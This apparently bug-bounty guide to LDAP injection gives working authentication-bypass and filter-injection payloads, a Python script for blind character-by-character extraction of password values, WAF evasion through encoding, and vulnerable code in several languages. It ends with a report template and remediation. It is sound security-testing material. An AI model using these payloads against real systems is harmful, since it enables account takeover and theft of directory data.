LDAP Injection Hunting Guide: Find and Exploit Directory Service Vulnerabilities

Key Takeaways

  • LDAP injection targets directory services (Active Directory, OpenLDAP) through unsanitized user input in LDAP queries
  • Authentication bypass is the highest-impact outcome — a single injection can grant access to any account
  • Blind LDAP injection is common in modern apps where error messages are suppressed — boolean-based extraction still works
  • Most LDAP injection occurs in login forms, user search, and group membership lookups
  • LDAP wildcards (*) are your first detection signal — if * returns all results, the parameter is injectable

Understanding LDAP Queries

LDAP (Lightweight Directory Access Protocol) queries use a filter syntax:

(&(uid=USERNAME)(userPassword=PASSWORD))

When USERNAME comes directly from user input without sanitization, you can inject LDAP filter operators to change the query logic.

LDAP Filter Operators

OperatorMeaningExample
&AND(&(uid=admin)(pass=secret))
|OR(|(uid=admin)(uid=root))
!NOT(!(uid=guest))
*Wildcard(uid=a*)
=Equality(uid=admin)
>=Greater or equal(uidNumber>=1000)
<=Less or equal(uidNumber<=500)

Detection Techniques

1. Wildcard Test

The simplest detection — inject * as the username or search term:

Username: *
Password: anything

If the application returns results or logs you in as the first user in the directory, the parameter is injectable.

2. Metacharacter Injection

Inject LDAP special characters and observe behavior:

)(&
)(|
*)((
\00

Error messages mentioning "LDAP", "filter", "directory", or "search" confirm the backend.

3. Boolean-Based Detection

Test true vs false conditions:

# True condition — should behave normally
admin)(|(uid=*
# False condition — should fail
admin)(|(uid=doesnotexist123

Different responses confirm injection.

4. Tautology Injection

*)(uid=*))(|(uid=*

This creates an always-true filter, similar to SQL injection's ' OR 1=1--.

Authentication Bypass

Basic Bypass

If the login query is:

(&(uid=INPUT_USER)(userPassword=INPUT_PASS))

Inject as username:

*)(uid=*))(|(uid=*

This transforms the query into:

(&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))

The first filter (&(uid=*)(uid=*)) is always true — you're authenticated as the first directory entry (usually admin).

Targeted Account Bypass

To log in as a specific user without knowing their password:

Username: admin)(&)
Password: anything

Or:

Username: admin)(|(password=*
Password: anything

Null Password Bypass

Some LDAP implementations allow null binds:

Username: admin
Password: (empty)

If the application doesn't check for empty passwords before the LDAP bind, this may succeed.

Data Extraction

Attribute Enumeration

LDAP entries have attributes (mail, telephoneNumber, description, etc.). Extract them by injecting into search filters:

*)(mail=*

If the application displays search results, you'll see email addresses for all users.

Blind Data Extraction

When the application only returns true/false (e.g., "user found" vs "user not found"), extract data character by character:

# Does admin's password start with 'a'?
admin)(userPassword=a*

# Does admin's password start with 'ab'?
admin)(userPassword=ab*

# Continue until the full value is extracted

Extracting User Lists

# All users whose uid starts with 'a'
a*

# All users in a specific group
*)(memberOf=cn=admins,ou=groups,dc=company,dc=com

Blind LDAP Injection

Boolean-Based

Observe response differences between true and false conditions:

# True — user exists
admin)(uid=admin
# False — user doesn't exist
admin)(uid=nonexistent12345

Use this to enumerate:

Automating Blind Extraction

import requests
import string

url = "https://target.example.com/search"
charset = string.ascii_lowercase + string.digits
extracted = ""

while True:
    found = False
    for c in charset:
        payload = f"*)(uid={extracted}{c}*"
        r = requests.post(url, data={"username": payload})
        if "User found" in r.text:
            extracted += c
            found = True
            print(f"Found so far: {extracted}")
            break
    if not found:
        break

print(f"Extracted value: {extracted}")

LDAP Injection in Different Contexts

Search Filter Injection

Most common. The application builds a filter like:

(cn=USER_INPUT)

Inject: *)(objectClass=* to dump all objects.

DN (Distinguished Name) Injection

Less common but high impact. If user input goes into a DN:

cn=USER_INPUT,ou=users,dc=company,dc=com

Inject: admin,ou=users,dc=company,dc=com to reference a different entry.

Attribute Injection

If the application lets you control which attributes are returned:

LDAP search returning: uid, INPUT_ATTRIBUTE

Inject: userPassword to include password hashes in the response.

Common Vulnerable Patterns

Java (JNDI)

// Vulnerable
String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";
ctx.search("ou=users,dc=company,dc=com", filter, controls);

PHP

// Vulnerable
$filter = "(&(uid=$username)(userPassword=$password))";
ldap_search($conn, "ou=users,dc=company,dc=com", $filter);

Python (python-ldap)

# Vulnerable
filter_str = f"(&(uid={username})(userPassword={password}))"
conn.search_s("ou=users,dc=company,dc=com", ldap.SCOPE_SUBTREE, filter_str)

.NET

// Vulnerable
string filter = $"(&(uid={username})(userPassword={password}))";
searcher.Filter = filter;

Bypass Techniques

Unicode/Hex Encoding

LDAP supports hex-encoded characters:

\2a = *
\28 = (
\29 = )
\5c = \
\00 = NULL

If the application filters *, try \2a instead.

Double Encoding

%252a → decodes to %2a → decodes to *

Case Manipulation

LDAP attribute names are case-insensitive:

(UID=admin) = (uid=admin) = (Uid=admin)

Nested Filters

(|(uid=admin)(uid=admin))

Some WAFs don't parse nested LDAP filters.

Testing Methodology

  1. Identify targets: Login forms, user search, address books, group lookups, password reset (username field), any feature backed by Active Directory or LDAP
  2. Fingerprint the backend: Look for error messages mentioning LDAP, Active Directory, or directory services. Check for ports 389/636 in any exposed configuration
  3. Test wildcards: Submit * in each input field. If it returns all results or logs you in, it's injectable
  4. Test metacharacters: Submit ), )(, *)(, \00 and observe errors or behavior changes
  5. Determine context: Are you in a search filter, DN, or attribute list?
  6. Exploit: Authentication bypass, data extraction, or privilege escalation depending on context
  7. Blind extraction: If no direct output, use boolean-based techniques to extract data character by character

Tools

Impact Assessment

ScenarioSeverity
Authentication bypass (login as any user)Critical
Admin account takeover via auth bypassCritical
Extraction of password hashesHigh
User enumeration (usernames, emails)Medium
Group membership disclosureMedium
Directory structure disclosureLow-Medium

Report Writing

Title

LDAP Injection in [Feature] Allows [Impact]

Template

## Summary
The [login form / user search / address book] at [URL] is vulnerable to LDAP
injection. User input is inserted directly into an LDAP filter without
sanitization, allowing an attacker to [bypass authentication / extract
directory data / enumerate users].

## Steps to Reproduce
1. Navigate to [URL]
2. Enter the following in the [username/search] field: [payload]
3. Submit the form
4. Observe [authentication success / data returned / error message]

## Impact
An attacker can [log in as any user including administrators / extract all
user email addresses and password hashes / enumerate the full directory
structure]. This affects [N users / the admin account / all directory data].

## Remediation
- Use parameterized LDAP queries or LDAP-specific escaping functions
- In Java: use javax.naming.ldap.LdapName for DN construction
- In PHP: use ldap_escape() (PHP 5.6+)
- In Python: use ldap.filter.escape_filter_chars()
- Validate input against an allowlist of expected characters
- Implement rate limiting on login and search endpoints

Related Reading

Advertisement